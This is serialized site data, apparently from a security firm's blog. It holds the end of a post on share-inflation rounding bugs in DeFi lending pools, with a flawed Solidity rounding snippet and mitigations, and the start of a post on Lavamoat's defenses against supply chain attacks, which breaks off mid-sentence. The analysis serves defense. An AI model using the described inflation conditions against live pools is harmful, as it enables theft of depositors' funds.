returns",{"type":22,"tag":101,"props":50507,"children":50508},{"style":120},[50509],{"type":27,"value":3603},{"type":22,"tag":101,"props":50511,"children":50512},{"style":114},[50513],{"type":27,"value":50164},{"type":22,"tag":101,"props":50515,"children":50516},{"style":120},[50517],{"type":27,"value":2510},{"type":22,"tag":101,"props":50519,"children":50520},{"class":103,"line":1063},[50521],{"type":22,"tag":101,"props":50522,"children":50523},{"style":120},[50524],{"type":27,"value":14886},{"type":22,"tag":101,"props":50526,"children":50527},{"class":103,"line":1071},[50528,50532,50537,50541],{"type":22,"tag":101,"props":50529,"children":50530},{"style":3595},[50531],{"type":27,"value":20986},{"type":22,"tag":101,"props":50533,"children":50534},{"style":120},[50535],{"type":27,"value":50536}," _maxSharePrice ",{"type":22,"tag":101,"props":50538,"children":50539},{"style":166},[50540],{"type":27,"value":4340},{"type":22,"tag":101,"props":50542,"children":50543},{"style":108},[50544],{"type":27,"value":50545}," true\n",{"type":22,"tag":101,"props":50547,"children":50548},{"class":103,"line":1110},[50549,50554,50559,50563],{"type":22,"tag":101,"props":50550,"children":50551},{"style":166},[50552],{"type":27,"value":50553}," ?",{"type":22,"tag":101,"props":50555,"children":50556},{"style":120},[50557],{"type":27,"value":50558}," _product % _pseudo ",{"type":22,"tag":101,"props":50560,"children":50561},{"style":166},[50562],{"type":27,"value":4340},{"type":22,"tag":101,"props":50564,"children":50565},{"style":1544},[50566],{"type":27,"value":28277},{"type":22,"tag":101,"props":50568,"children":50569},{"class":103,"line":1118},[50570,50575,50580,50584],{"type":22,"tag":101,"props":50571,"children":50572},{"style":166},[50573],{"type":27,"value":50574}," ?",{"type":22,"tag":101,"props":50576,"children":50577},{"style":120},[50578],{"type":27,"value":50579}," _product ",{"type":22,"tag":101,"props":50581,"children":50582},{"style":166},[50583],{"type":27,"value":8625},{"type":22,"tag":101,"props":50585,"children":50586},{"style":120},[50587],{"type":27,"value":50588}," _pseudo\n",{"type":22,"tag":101,"props":50590,"children":50591},{"class":103,"line":1158},[50592,50597,50601,50605,50610,50614],{"type":22,"tag":101,"props":50593,"children":50594},{"style":166},[50595],{"type":27,"value":50596}," :",{"type":22,"tag":101,"props":50598,"children":50599},{"style":120},[50600],{"type":27,"value":50579},{"type":22,"tag":101,"props":50602,"children":50603},{"style":166},[50604],{"type":27,"value":8625},{"type":22,"tag":101,"props":50606,"children":50607},{"style":120},[50608],{"type":27,"value":50609}," _pseudo ",{"type":22,"tag":101,"props":50611,"children":50612},{"style":166},[50613],{"type":27,"value":8426},{"type":22,"tag":101,"props":50615,"children":50616},{"style":1544},[50617],{"type":27,"value":23433},{"type":22,"tag":101,"props":50619,"children":50620},{"class":103,"line":1166},[50621,50626,50630,50634],{"type":22,"tag":101,"props":50622,"children":50623},{"style":166},[50624],{"type":27,"value":50625}," :",{"type":22,"tag":101,"props":50627,"children":50628},{"style":120},[50629],{"type":27,"value":50579},{"type":22,"tag":101,"props":50631,"children":50632},{"style":166},[50633],{"type":27,"value":8625},{"type":22,"tag":101,"props":50635,"children":50636},{"style":120},[50637],{"type":27,"value":50638}," _pseudo;\n",{"type":22,"tag":101,"props":50640,"children":50641},{"class":103,"line":1215},[50642],{"type":22,"tag":101,"props":50643,"children":50644},{"style":120},[50645],{"type":27,"value":188},{"type":22,"tag":23,"props":50647,"children":50648},{},[50649,50654],{"type":22,"tag":6961,"props":50650,"children":50651},{},[50652],{"type":27,"value":50653},"Regardless of which way the share rounding occurs, this is a bug",{"type":27,"value":50655},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":22,"tag":23,"props":50657,"children":50658},{},[50659],{"type":27,"value":50660},"This is a really tricky invariant to reason about!",{"type":22,"tag":53,"props":50662,"children":50664},{"id":50663},"root-cause",[50665],{"type":27,"value":50666},"Root Cause",{"type":22,"tag":23,"props":50668,"children":50669},{},[50670],{"type":27,"value":50671},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":22,"tag":23,"props":50673,"children":50674},{},[50675],{"type":27,"value":50676},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":22,"tag":91,"props":50678,"children":50680},{"className":8520,"code":50679,"language":8519,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[50681],{"type":22,"tag":30,"props":50682,"children":50683},{"__ignoreMap":7},[50684],{"type":22,"tag":101,"props":50685,"children":50686},{"class":103,"line":104},[50687,50692,50696,50701,50705],{"type":22,"tag":101,"props":50688,"children":50689},{"style":120},[50690],{"type":27,"value":50691},"totalDepositShares ",{"type":22,"tag":101,"props":50693,"children":50694},{"style":166},[50695],{"type":27,"value":8615},{"type":22,"tag":101,"props":50697,"children":50698},{"style":120},[50699],{"type":27,"value":50700}," _amount ",{"type":22,"tag":101,"props":50702,"children":50703},{"style":166},[50704],{"type":27,"value":8625},{"type":22,"tag":101,"props":50706,"children":50707},{"style":120},[50708],{"type":27,"value":50709}," pseudoTotalPool\n",{"type":22,"tag":23,"props":50711,"children":50712},{},[50713],{"type":27,"value":50714},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":22,"tag":23,"props":50716,"children":50717},{},[50718,50720,50724],{"type":27,"value":50719},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":22,"tag":6961,"props":50721,"children":50722},{},[50723],{"type":27,"value":23908},{"type":27,"value":50725}," integer division?",{"type":22,"tag":53,"props":50727,"children":50729},{"id":50728},"mitigations",[50730],{"type":27,"value":50731},"Mitigations",{"type":22,"tag":23,"props":50733,"children":50734},{},[50735],{"type":27,"value":50736},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":22,"tag":23,"props":50738,"children":50739},{},[50740,50742,50749],{"type":27,"value":50741},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":22,"tag":80,"props":50743,"children":50746},{"href":50744,"rel":50745},"https://twitter.com/danielvf/status/1746306320553152615",[84],[50747],{"type":27,"value":50748},"@danielvf notes",{"type":27,"value":50750},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":22,"tag":91,"props":50752,"children":50754},{"className":8520,"code":50753,"language":8519,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[50755],{"type":22,"tag":30,"props":50756,"children":50757},{"__ignoreMap":7},[50758,50782,50829,50863],{"type":22,"tag":101,"props":50759,"children":50760},{"class":103,"line":104},[50761,50765,50770,50774,50778],{"type":22,"tag":101,"props":50762,"children":50763},{"style":3595},[50764],{"type":27,"value":19578},{"type":22,"tag":101,"props":50766,"children":50767},{"style":120},[50768],{"type":27,"value":50769}," (_totalSupply ",{"type":22,"tag":101,"props":50771,"children":50772},{"style":166},[50773],{"type":27,"value":4340},{"type":22,"tag":101,"props":50775,"children":50776},{"style":1544},[50777],{"type":27,"value":1547},{"type":22,"tag":101,"props":50779,"children":50780},{"style":120},[50781],{"type":27,"value":1463},{"type":22,"tag":101,"props":50783,"children":50784},{"class":103,"line":157},[50785,50790,50794,50799,50804,50809,50814,50819,50824],{"type":22,"tag":101,"props":50786,"children":50787},{"style":120},[50788],{"type":27,"value":50789}," liquidity ",{"type":22,"tag":101,"props":50791,"children":50792},{"style":166},[50793],{"type":27,"value":1511},{"type":22,"tag":101,"props":50795,"children":50796},{"style":120},[50797],{"type":27,"value":50798}," Math.",{"type":22,"tag":101,"props":50800,"children":50801},{"style":926},[50802],{"type":27,"value":50803},"sqrt",{"type":22,"tag":101,"props":50805,"children":50806},{"style":120},[50807],{"type":27,"value":50808},"(amount0.",{"type":22,"tag":101,"props":50810,"children":50811},{"style":926},[50812],{"type":27,"value":50813},"mul",{"type":22,"tag":101,"props":50815,"children":50816},{"style":120},[50817],{"type":27,"value":50818},"(amount1)).",{"type":22,"tag":101,"props":50820,"children":50821},{"style":926},[50822],{"type":27,"value":50823},"sub",{"type":22,"tag":101,"props":50825,"children":50826},{"style":120},[50827],{"type":27,"value":50828},"(MINIMUM_LIQUIDITY);\n",{"type":22,"tag":101,"props":50830,"children":50831},{"class":103,"line":182},[50832,50837,50841,50845,50849,50853,50858],{"type":22,"tag":101,"props":50833,"children":50834},{"style":926},[50835],{"type":27,"value":50836}," _mint",{"type":22,"tag":101,"props":50838,"children":50839},{"style":120},[50840],{"type":27,"value":980},{"type":22,"tag":101,"props":50842,"children":50843},{"style":114},[50844],{"type":27,"value":36637},{"type":22,"tag":101,"props":50846,"children":50847},{"style":120},[50848],{"type":27,"value":980},{"type":22,"tag":101,"props":50850,"children":50851},{"style":1544},[50852],{"type":27,"value":8065},{"type":22,"tag":101,"props":50854,"children":50855},{"style":120},[50856],{"type":27,"value":50857},"), MINIMUM_LIQUIDITY); ",{"type":22,"tag":101,"props":50859,"children":50860},{"style":2215},[50861],{"type":27,"value":50862},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":22,"tag":101,"props":50864,"children":50865},{"class":103,"line":367},[50866,50871,50875],{"type":22,"tag":101,"props":50867,"children":50868},{"style":120},[50869],{"type":27,"value":50870},"} ",{"type":22,"tag":101,"props":50872,"children":50873},{"style":3595},[50874],{"type":27,"value":7354},{"type":22,"tag":101,"props":50876,"children":50877},{"style":120},[50878],{"type":27,"value":154},{"type":22,"tag":23,"props":50880,"children":50881},{},[50882,50884,50891],{"type":27,"value":50883},"Alternatively, ",{"type":22,"tag":80,"props":50885,"children":50888},{"href":50886,"rel":50887},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[84],[50889],{"type":27,"value":50890},"storing the conversion rate separately",{"type":27,"value":50892}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":22,"tag":91,"props":50894,"children":50896},{"className":8520,"code":50895,"language":8519,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[50897],{"type":22,"tag":30,"props":50898,"children":50899},{"__ignoreMap":7},[50900,50935],{"type":22,"tag":101,"props":50901,"children":50902},{"class":103,"line":104},[50903,50908,50912,50917,50921,50926,50930],{"type":22,"tag":101,"props":50904,"children":50905},{"style":120},[50906],{"type":27,"value":50907},"accrualIndices.borrowed ",{"type":22,"tag":101,"props":50909,"children":50910},{"style":166},[50911],{"type":27,"value":1511},{"type":22,"tag":101,"props":50913,"children":50914},{"style":120},[50915],{"type":27,"value":50916}," accrualIndices.borrowed ",{"type":22,"tag":101,"props":50918,"children":50919},{"style":166},[50920],{"type":27,"value":8615},{"type":22,"tag":101,"props":50922,"children":50923},{"style":120},[50924],{"type":27,"value":50925}," borrowInterestFactor ",{"type":22,"tag":101,"props":50927,"children":50928},{"style":166},[50929],{"type":27,"value":8625},{"type":22,"tag":101,"props":50931,"children":50932},{"style":120},[50933],{"type":27,"value":50934}," precision;\n",{"type":22,"tag":101,"props":50936,"children":50937},{"class":103,"line":157},[50938,50943,50947,50952,50956,50961,50965],{"type":22,"tag":101,"props":50939,"children":50940},{"style":120},[50941],{"type":27,"value":50942},"accrualIndices.deposited ",{"type":22,"tag":101,"props":50944,"children":50945},{"style":166},[50946],{"type":27,"value":1511},{"type":22,"tag":101,"props":50948,"children":50949},{"style":120},[50950],{"type":27,"value":50951}," accrualIndices.deposited ",{"type":22,"tag":101,"props":50953,"children":50954},{"style":166},[50955],{"type":27,"value":8615},{"type":22,"tag":101,"props":50957,"children":50958},{"style":120},[50959],{"type":27,"value":50960}," depositInterestFactor ",{"type":22,"tag":101,"props":50962,"children":50963},{"style":166},[50964],{"type":27,"value":8625},{"type":22,"tag":101,"props":50966,"children":50967},{"style":120},[50968],{"type":27,"value":50934},{"type":22,"tag":23,"props":50970,"children":50971},{},[50972],{"type":27,"value":50973},"We also want to note some general takeaways:",{"type":22,"tag":23,"props":50975,"children":50976},{},[50977,50979,50984],{"type":27,"value":50978},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":22,"tag":6961,"props":50980,"children":50981},{},[50982],{"type":27,"value":50983},"apply the state changes and check the invariant",{"type":27,"value":231},{"type":22,"tag":23,"props":50986,"children":50987},{},[50988],{"type":27,"value":50989},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":22,"tag":23,"props":50991,"children":50992},{},[50993],{"type":27,"value":50994},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":22,"tag":53,"props":50996,"children":50997},{"id":6776},[50998],{"type":27,"value":6779},{"type":22,"tag":23,"props":51000,"children":51001},{},[51002],{"type":27,"value":51003},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":22,"tag":23,"props":51005,"children":51006},{},[51007],{"type":27,"value":51008},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":22,"tag":6891,"props":51010,"children":51011},{},[51012],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":51014},[51015,51016,51017,51021,51022,51023],{"id":33014,"depth":157,"text":33017},{"id":49937,"depth":157,"text":49940},{"id":50056,"depth":157,"text":50059,"children":51018},[51019,51020],{"id":50067,"depth":182,"text":50070},{"id":50105,"depth":182,"text":50108},{"id":50663,"depth":157,"text":50666},{"id":50728,"depth":157,"text":50731},{"id":6776,"depth":157,"text":6779},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":51028,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51029,"description":51030,"author":51031,"image":51032,"date":51034,"isFeatured":15,"onBlogPage":15,"body":51035,"_type":6912,"_id":54513,"_source":6914,"_file":54514,"_stem":54515,"_extension":6917},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[35197,35196],{"src":51033},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":19,"children":51036,"toc":54492},[51037,51041,51062,51067,51071,51076,51115,51121,51136,51154,51159,51164,51169,51182,51489,51515,51528,51533,51538,51552,51557,51570,51584,51815,51836,51871,51877,51882,51887,52101,52122,52128,52140,52230,52252,52288,52296,52314,52571,52597,52603,52617,52815,52834,53240,53253,53259,53278,53371,53376,53382,53395,53408,53494,53500,53512,53597,53609,53622,53628,53633,53647,53974,53979,53984,53990,54016,54071,54091,54144,54150,54155,54173,54184,54378,54384,54407,54413,54418,54431,54436,54441,54445,54450,54458,54488],{"type":22,"tag":53,"props":51038,"children":51039},{"id":22946},[51040],{"type":27,"value":22949},{"type":22,"tag":23,"props":51042,"children":51043},{},[51044,51051,51053,51060],{"type":22,"tag":80,"props":51045,"children":51048},{"href":51046,"rel":51047},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[84],[51049],{"type":27,"value":51050},"Supply chain",{"type":27,"value":51052}," attacks are becoming ",{"type":22,"tag":80,"props":51054,"children":51057},{"href":51055,"rel":51056},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[84],[51058],{"type":27,"value":51059},"increasingly popular in Web3",{"type":27,"value":51061},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":22,"tag":23,"props":51063,"children":51064},{},[51065],{"type":27,"value":51066},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":22,"tag":1760,"props":51068,"children":51069},{"id":33014},[51070],{"type":27,"value":33017},{"type":22,"tag":23,"props":51072,"children":51073},{},[51074],{"type":27,"value":51075},"It is important to note that there are three different versions of LavaMoat:",{"type":22,"tag":6828,"props":51077,"children":51078},{},[51079,51091,51103],{"type":22,"tag":6832,"props":51080,"children":51081},{},[51082,51089],{"type":22,"tag":80,"props":51083,"children":51086},{"href":51084,"rel":51085},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[84],[51087],{"type":27,"value":51088},"Lavamoat Browserify",{"type":27,"value":51090}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":22,"tag":6832,"props":51092,"children":51093},{},[51094,51101],{"type":22,"tag":80,"props":51095,"children":51098},{"href":51096,"rel":51097},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[84],[51099],{"type":27,"value":51100},"NodeJS Lavamoat",{"type":27,"value":51102}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":22,"tag":6832,"props":51104,"children":51105},{},[51106,51113],{"type":22,"tag":80,"props":51107,"children":51110},{"href":51108,"rel":51109},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[84],[51111],{"type":27,"value":51112},"Lavamoat allow-scripts",{"type":27,"value":51114}," are used to prevent malicious code execution on lifecycle scripts.",{"type":22,"tag":1760,"props":51116,"children":51118},{"id":51117},"lavamoats-security-features",[51119],{"type":27,"value":51120},"Lavamoat's Security Features",{"type":22,"tag":23,"props":51122,"children":51123},{},[51124,51126,51134],{"type":27,"value":51125},"The three most important features of Lavamoat",{"type":22,"tag":6802,"props":51127,"children":51128},{},[51129],{"type":22,"tag":80,"props":51130,"children":51132},{"href":6807,"ariaDescribedBy":51131,"dataFootnoteRef":7,"id":6810},[6809],[51133],{"type":27,"value":6813},{"type":27,"value":51135}," are:",{"type":22,"tag":6839,"props":51137,"children":51138},{},[51139,51144,51149],{"type":22,"tag":6832,"props":51140,"children":51141},{},[51142],{"type":27,"value":51143},"Policy Files",{"type":22,"tag":6832,"props":51145,"children":51146},{},[51147],{"type":27,"value":51148},"NPM Anti Hijacking",{"type":22,"tag":6832,"props":51150,"children":51151},{},[51152],{"type":27,"value":51153},"Scuttling",{"type":22,"tag":23,"props":51155,"children":51156},{},[51157],{"type":27,"value":51158},"Let's go over them one by one.",{"type":22,"tag":22883,"props":51160,"children":51162},{"id":51161},"policy-files",[51163],{"type":27,"value":51143},{"type":22,"tag":23,"props":51165,"children":51166},{},[51167],{"type":27,"value":51168},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":22,"tag":23,"props":51170,"children":51171},{},[51172,51174,51181],{"type":27,"value":51173},"For example, take the ",{"type":22,"tag":80,"props":51175,"children":51178},{"href":51176,"rel":51177},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[84],[51179],{"type":27,"value":51180},"Metamask Snap policy file",{"type":27,"value":169},{"type":22,"tag":91,"props":51183,"children":51185},{"className":35359,"code":51184,"language":35361,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[51186],{"type":22,"tag":30,"props":51187,"children":51188},{"__ignoreMap":7},[51189,51201,51216,51236,51255,51275,51295,51315,51335,51355,51376,51396,51415,51431,51438,51453,51473],{"type":22,"tag":101,"props":51190,"children":51191},{"class":103,"line":104},[51192,51197],{"type":22,"tag":101,"props":51193,"children":51194},{"style":6476},[51195],{"type":27,"value":51196}," \"@metamask/providers\"",{"type":22,"tag":101,"props":51198,"children":51199},{"style":120},[51200],{"type":27,"value":41018},{"type":22,"tag":101,"props":51202,"children":51203},{"class":103,"line":157},[51204,51208,51212],{"type":22,"tag":101,"props":51205,"children":51206},{"style":6476},[51207],{"type":27,"value":41026},{"type":22,"tag":101,"props":51209,"children":51210},{"style":126},[51211],{"type":27,"value":169},{"type":22,"tag":101,"props":51213,"children":51214},{"style":120},[51215],{"type":27,"value":154},{"type":22,"tag":101,"props":51217,"children":51218},{"class":103,"line":182},[51219,51224,51228,51232],{"type":22,"tag":101,"props":51220,"children":51221},{"style":6476},[51222],{"type":27,"value":51223}," \"Event\"",{"type":22,"tag":101,"props":51225,"children":51226},{"style":126},[51227],{"type":27,"value":169},{"type":22,"tag":101,"props":51229,"children":51230},{"style":108},[51231],{"type":27,"value":16473},{"type":22,"tag":101,"props":51233,"children":51234},{"style":120},[51235],{"type":27,"value":179},{"type":22,"tag":101,"props":51237,"children":51238},{"class":103,"line":367},[51239,51243,51247,51251],{"type":22,"tag":101,"props":51240,"children":51241},{"style":6476},[51242],{"type":27,"value":41078},{"type":22,"tag":101,"props":51244,"children":51245},{"style":126},[51246],{"type":27,"value":169},{"type":22,"tag":101,"props":51248,"children":51249},{"style":108},[51250],{"type":27,"value":16473},{"type":22,"tag":101,"props":51252,"children":51253},{"style":120},[51254],{"type":27,"value":179},{"type":22,"tag":101,"props":51256,"children":51257},{"class":103,"line":398},[51258,51263,51267,51271],{"type":22,"tag":101,"props":51259,"children":51260},{"style":6476},[51261],{"type":27,"value":51262}," \"chrome.runtime.connect\"",{"type":22,"tag":101,"props":51264,"children":51265},{"style":126},[51266],{"type":27,"value":169},{"type":22,"tag":101,"props":51268,"children":51269},{"style":108},[51270],{"type":27,"value":16473},{"type":22,"tag":101,"props":51272,"children":51273},{"style":120},[51274],{"type":27,"value":179},{"type":22,"tag":101,"props":51276,"children":51277},{"class":103,"line":428},[51278,51283,51287,51291],{"type":22,"tag":101,"props":51279,"children":51280},{"style":6476},[51281],{"type":27,"value":51282}," \"console\"",{"type":22,"tag":101,"props":51284,"children":51285},{"style":126},[51286],{"type":27,"value":169},{"type":22,"tag":101,"props":51288,"children":51289},{"style":108},[51290],{"type":27,"value":16473},{"type":22,"tag":101,"props":51292,"children":51293},{"style":120},[51294],{"type":27,"value":179},{"type":22,"tag":101,"props":51296,"children":51297},{"class":103,"line":997},[51298,51303,51307,51311],{"type":22,"tag":101,"props":51299,"children":51300},{"style":6476},[51301],{"type":27,"value":51302}," \"dispatchEvent\"",{"type":22,"tag":101,"props":51304,"children":51305},{"style":126},[51306],{"type":27,"value":169},{"type":22,"tag":101,"props":51308,"children":51309},{"style":108},[51310],{"type":27,"value":16473},{"type":22,"tag":101,"props":51312,"children":51313},{"style":120},[51314],{"type":27,"value":179},{"type":22,"tag":101,"props":51316,"children":51317},{"class":103,"line":1032},[51318,51323,51327,51331],{"type":22,"tag":101,"props":51319,"children":51320},{"style":6476},[51321],{"type":27,"value":51322}," \"document.createElement\"",{"type":22,"tag":101,"props":51324,"children":51325},{"style":126},[51326],{"type":27,"value":169},{"type":22,"tag":101,"props":51328,"children":51329},{"style":108},[51330],{"type":27,"value":16473},{"type":22,"tag":101,"props":51332,"children":51333},{"style":120},[51334],{"type":27,"value":179},{"type":22,"tag":101,"props":51336,"children":51337},{"class":103,"line":1063},[51338,51343,51347,51351],{"type":22,"tag":101,"props":51339,"children":51340},{"style":6476},[51341],{"type":27,"value":51342}," \"document.readyState\"",{"type":22,"tag":101,"props":51344,"children":51345},{"style":126},[51346],{"type":27,"value":169},{"type":22,"tag":101,"props":51348,"children":51349},{"style":108},[51350],{"type":27,"value":16473},{"type":22,"tag":101,"props":51352,"children":51353},{"style":120},[51354],{"type":27,"value":179},{"type":22,"tag":101,"props":51356,"children":51357},{"class":103,"line":1071},[51358,51363,51367,51372],{"type":22,"tag":101,"props":51359,"children":51360},{"style":6476},[51361],{"type":27,"value":51362}," \"ethereum\"",{"type":22,"tag":101,"props":51364,"children":51365},{"style":126},[51366],{"type":27,"value":169},{"type":22,"tag":101,"props":51368,"children":51369},{"style":6476},[51370],{"type":27,"value":51371}," \"write\"",{"type":22,"tag":101,"props":51373,"children":51374},{"style":120},[51375],{"type":27,"value":179},{"type":22,"tag":101,"props":51377,"children":51378},{"class":103,"line":1110},[51379,51384,51388,51392],{"type":22,"tag":101,"props":51380,"children":51381},{"style":6476},[51382],{"type":27,"value":51383}," \"location.hostname\"",{"type":22,"tag":101,"props":51385,"children":51386},{"style":126},[51387],{"type":27,"value":169},{"type":22,"tag":101,"props":51389,"children":51390},{"style":108},[51391],{"type":27,"value":16473},{"type":22,"tag":101,"props":51393,"children":51394},{"style":120},[51395],{"type":27,"value":179},{"type":22,"tag":101,"props":51397,"children":51398},{"class":103,"line":1118},[51399,51403,51407,51411],{"type":22,"tag":101,"props":51400,"children":51401},{"style":6476},[51402],{"type":27,"value":41178},{"type":22,"tag":101,"props":51404,"children":51405},{"style":126},[51406],{"type":27,"value":169},{"type":22,"tag":101,"props":51408,"children":51409},{"style":108},[51410],{"type":27,"value":16473},{"type":22,"tag":101,"props":51412,"children":51413},{"style":120},[51414],{"type":27,"value":179},{"type":22,"tag":101,"props":51416,"children":51417},{"class":103,"line":1158},[51418,51423,51427],{"type":22,"tag":101,"props":51419,"children":51420},{"style":6476},[51421],{"type":27,"value":51422}," \"web3\"",{"type":22,"tag":101,"props":51424,"children":51425},{"style":126},[51426],{"type":27,"value":169},{"type":22,"tag":101,"props":51428,"children":51429},{"style":108},[51430],{"type":27,"value":50545},{"type":22,"tag":101,"props":51432,"children":51433},{"class":103,"line":1166},[51434],{"type":22,"tag":101,"props":51435,"children":51436},{"style":120},[51437],{"type":27,"value":41195},{"type":22,"tag":101,"props":51439,"children":51440},{"class":103,"line":1215},[51441,51445,51449],{"type":22,"tag":101,"props":51442,"children":51443},{"style":6476},[51444],{"type":27,"value":41203},{"type":22,"tag":101,"props":51446,"children":51447},{"style":126},[51448],{"type":27,"value":169},{"type":22,"tag":101,"props":51450,"children":51451},{"style":120},[51452],{"type":27,"value":154},{"type":22,"tag":101,"props":51454,"children":51455},{"class":103,"line":2425},[51456,51461,51465,51469],{"type":22,"tag":101,"props":51457,"children":51458},{"style":6476},[51459],{"type":27,"value":51460}," \"@metamask/object-multiplex\"",{"type":22,"tag":101,"props":51462,"children":51463},{"style":126},[51464],{"type":27,"value":169},{"type":22,"tag":101,"props":51466,"children":51467},{"style":108},[51468],{"type":27,"value":16473},{"type":22,"tag":101,"props":51470,"children":51471},{"style":120},[51472],{"type":27,"value":179},{"type":22,"tag":101,"props":51474,"children":51475},{"class":103,"line":5417},[51476,51481,51485],{"type":22,"tag":101,"props":51477,"children":51478},{"style":6476},[51479],{"type":27,"value":51480}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":22,"tag":101,"props":51482,"children":51483},{"style":126},[51484],{"type":27,"value":169},{"type":22,"tag":101,"props":51486,"children":51487},{"style":108},[51488],{"type":27,"value":50545},{"type":22,"tag":23,"props":51490,"children":51491},{},[51492,51493,51498,51500,51505,51507,51513],{"type":27,"value":2007},{"type":22,"tag":30,"props":51494,"children":51496},{"className":51495},[],[51497],{"type":27,"value":41268},{"type":27,"value":51499}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":22,"tag":30,"props":51501,"children":51503},{"className":51502},[],[51504],{"type":27,"value":41276},{"type":27,"value":51506}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":22,"tag":30,"props":51508,"children":51510},{"className":51509},[],[51511],{"type":27,"value":51512},"@metamask/providers",{"type":27,"value":51514}," interacts with other packages.",{"type":22,"tag":23,"props":51516,"children":51517},{},[51518,51520,51526],{"type":27,"value":51519},"To enforce these policies, LavaMoat uses ",{"type":22,"tag":30,"props":51521,"children":51523},{"className":51522},[],[51524],{"type":27,"value":51525},"lavapack",{"type":27,"value":51527},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":22,"tag":22883,"props":51529,"children":51531},{"id":51530},"npm-anti-hijacking",[51532],{"type":27,"value":51148},{"type":22,"tag":23,"props":51534,"children":51535},{},[51536],{"type":27,"value":51537},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":22,"tag":23,"props":51539,"children":51540},{},[51541,51543,51550],{"type":27,"value":51542},"Instead, Lavamoat looks at how each package is connected by ",{"type":22,"tag":80,"props":51544,"children":51547},{"href":51545,"rel":51546},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[84],[51548],{"type":27,"value":51549},"walking the modules",{"type":27,"value":51551}," in a project's dependency tree, thus generating a unique name for each package.",{"type":22,"tag":22883,"props":51553,"children":51555},{"id":51554},"scuttling",[51556],{"type":27,"value":51153},{"type":22,"tag":23,"props":51558,"children":51559},{},[51560,51562,51568],{"type":27,"value":51561},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real 